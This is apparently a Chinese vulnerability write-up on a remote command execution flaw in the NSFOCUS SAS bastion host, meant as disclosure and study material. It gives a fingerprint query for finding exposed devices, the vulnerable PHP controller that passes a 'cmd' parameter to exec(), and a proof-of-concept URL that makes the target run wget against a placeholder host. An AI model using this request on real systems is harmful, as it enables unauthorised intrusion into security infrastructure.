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绿盟 SAS堡垒机 Exec 远程命令执行漏洞

漏洞描述

绿盟 SAS堡垒机 Exec 远程命令执行漏洞

漏洞影响

绿盟 SAS堡垒机

网络测绘

body="'/needUsbkey.php?username='"

漏洞复现

登陆页面

image-20231213105725545

漏洞存在于文件 ExecController.php 文件中

image-20231213105735504

<?php
require_once 'Nsc/Websvc/Response.php';
class ExecController extends Cavy_Controller_Action {

var $models = 'no';

public function index() {
$command = $this->_params['cmd'];
$ret = 0;
$output = array();
exec($command,$output,$ret);
$result = new StdClass;
if ($ret != 0) {
$result->code = Nsc_Websvc_Response::EXEC_ERROR;
$result->text = "exec error";
}
else {
$result->code = Nsc_Websvc_Response::SUCCESS;
// $result->text = implode("\n",$output);
$result->text = "WEBSVC OK";
}
$this->_render(array('result'=>$result),'/websvc/result');
}
}
?>

验证POC

/webconf/Exec/index?cmd=wget%20xxx.xxx.xxx

image-20231213105747940

image-20231213105758578